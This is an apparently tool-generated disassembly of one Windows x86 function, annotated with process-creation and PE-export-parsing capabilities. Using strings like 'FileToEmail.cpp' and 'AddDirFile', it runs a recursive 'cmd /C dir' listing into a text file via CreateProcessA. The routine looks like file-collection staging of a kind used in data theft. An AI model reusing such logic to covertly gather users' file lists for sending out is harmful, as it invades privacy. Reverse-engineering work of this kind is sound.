Function at 0x40bf00
Capabilities:
Create process on windows
Resolve function by parsing pe exports

Disassembly:
jmp 0x40bf00
push 0xffffffffffffffff
push 0x498a71
mov eax, dword fs:[0]
push eax
sub esp, 0x1b0
mov eax, dword [0x4c6dd4]
xor eax, esp
mov dword [esp + 0x1ac], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4c6dd4]
xor eax, esp
push eax
lea eax, [esp + 0x1c4]
mov dword fs:[0], eax
mov dword [esp + 0x1c], ecx
push ecx
mov ecx, esp
mov dword [esp + 0x38], esp
push 0x4a310a
mov dword [esp + 0x1d4], 0
call fcn.004012d5
push ecx
mov ecx, esp
mov dword [esp + 0x34], esp
push str..FileToEmail.cpp
mov byte [esp + 0x1d8], 1
call fcn.004012d5
push ecx
mov ecx, esp
mov dword [esp + 0x30], esp
push str.AddDirFile
mov byte [esp + 0x1dc], 2
call fcn.004012d5
lea ecx, [esp + 0x5c]
mov byte [esp + 0x1d8], 0
call fcn.0040130c
mov byte [esp + 0x1cc], 3
xor ebx, ebx
call fcn.004141fe
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40bfc2
push 0x80004005
call fcn.004013ed
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x20], eax
mov byte [esp + 0x1cc], 4
call fcn.004141fe
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40bff4
push 0x80004005
call fcn.004013ed
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov byte [esp + 0x1cc], 5
call fcn.004141fe
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40c026
push 0x80004005
call fcn.004013ed
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0x1cc], 6
call fcn.004141fe
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40c058
push 0x80004005
call fcn.004013ed
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov byte [esp + 0x1cc], 7
add ebx, 1
push ebx
lea ecx, [esp + 0x24]
push 0x4a36b0
push ecx
mov dword [esp + 0x3c], ebx
call fcn.0040105f
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x1e0]
add esp, 0xc
push str.ERROR
push edx
push eax
lea ecx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x2c]
call fcn.00419143
mov ecx, dword [eax]
mov esi, dword [esp + 0x14]
lea eax, [ecx - 0x10]
add esi, 0xfffffff0
cmp eax, esi
mov byte [esp + 0x1cc], 8
je 0x40c109
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x40c0fb
mov edx, dword [eax]
cmp edx, dword [esi]
jne 0x40c0fb
push eax
call fcn.00401140
mov ebp, eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x40c0f2
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebp, 0x10
mov dword [esp + 0x14], ebp
jmp 0x40c109
mov eax, dword [ecx - 0xc]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.00401032
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x1cc], 7
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c131
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
call fcn.0040115e
lea ecx, [esp + 0x14]
call fcn.004012f8
mov esi, dword [esp + 0x14]
push str.ERROR
push esi
call fcn.00451abe
add esp, 8
test eax, eax
setne al
test al, al
je 0x40c43e
cmp dword [esi - 0xc], 0
je 0x40c43e
mov ecx, dword [esp + 0x1d4]
mov esi, dword [esp + 0x1c]
mov edx, dword [esi + 0xc4]
push ecx
push ebx
push edx
lea eax, [esp + 0x24]
push str._s_d_s.txt
push eax
call fcn.0040105f
add esp, 0x14
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call fcn.004012d0
push 0x104
lea edx, [esp + 0xc0]
push 0
push edx
call fcn.00451640
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
add esp, 0xc
cmp byte [esp + 0x1d8], 0
push eax
lea edx, [esp + 0xc0]
push ecx
je 0x40c1d7
push str.cmd__C_dir___s___O:N__S____s_
jmp 0x40c1dc
push str.cmd__C_dir____s___O:N_____s_
push edx
call fcn.00451fbb
add esp, 0x10
push 0x44
lea eax, [esp + 0x7c]
push 0
push eax
call fcn.00451640
xor eax, eax
add esp, 0xc
mov dword [esp + 0x78], 0x44
mov word [esp + 0xa8], 0
mov dword [esp + 0xa4], 1
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x38], 0x103
call fcn.004141fe
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x40bfb8
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x7c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0xdc]
push eax
push 0
mov byte [esp + 0x1f4], 9
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x38]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x28]
push str.In_AddDirFile___function__sleep__
push eax
call fcn.0040105f
mov ebx, dword [esp + 0x30]
add esp, 8
push 0xffffffffffffffff
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
lea esi, [ebx - 0x10]
mov dword [esp + 0x54], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x40c2e0
cmp eax, dword [esi]
jne 0x40c2e0
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x40c316
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 1
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x40c55e
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
add eax, 1
push eax
add esi, 0x10
push esi
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.004510fc
add esp, 0x10
add edi, 0x10
lea ecx, [esp + 0x58]
mov dword [ebp], edi
call fcn.0040104b
cmp dword [esp + 0x38], 0x103
je 0x40c27f
mov edx, dword [esp + 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x40]
push eax
call esi
lea ecx, [esp + 0x60]
call fcn.00419801
mov ecx, dword [esp + 0x18]
push 0
push ecx
lea ecx, [esp + 0x68]
mov byte [esp + 0x1d4], 0xa
call fcn.0041988d
test eax, eax
je 0x40c401
mov edi, dword [esp + 0x1c]
mov eax, dword [edi + 0xd8]
lea ecx, [edi + 0xd0]
lea edx, [esp + 0x18]
push edx
push eax
call fcn.0041713d
mov eax, dword [esp + 0x18]
mov esi, dword [eax - 0xc]
push 0x5c
push eax
call fcn.00450c71
add esp, 8
test eax, eax
jne 0x40c3a6
or eax, 0xffffffff
jmp 0x40c3aa
sub eax, dword [esp + 0x18]
sub esi, eax
sub esi, 1
push esi
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x20]
call fcn.00401168
mov edx, dword [edi + 0xec]
lea ecx, [edi + 0xe4]
push eax
push edx
mov byte [esp + 0x1d4], 0xb
call fcn.0041713d
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov byte [esp + 0x1cc], 0xa
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c401
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x60]
mov byte [esp + 0x1cc], 9
call fcn.00419825
lea eax, [ebx - 0x10]
mov byte [esp + 0x1cc], 7
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c436
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ebx, dword [esp + 0x30]
mov esi, dword [esp + 0x14]
push str.ERROR
push esi
call fcn.00451abe
add esp, 8
test eax, eax
setne al
test al, al
jne 0x40c070
lea eax, [esi - 0x10]
mov byte [esp + 0x1cc], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c47d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
mov byte [esp + 0x1cc], 5
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c4a5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0x1cc], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c4cd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
mov byte [esp + 0x1cc], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c4f5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x50]
mov byte [esp + 0x1cc], 0
call fcn.004013f2
mov eax, dword [esp + 0x1d4]
add eax, 0xfffffff0
mov dword [esp + 0x1cc], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40c534
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x1c4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1ac]
xor ecx, esp
call fcn.0045162d
add esp, 0x1bc
ret 8
call fcn.00401294
int3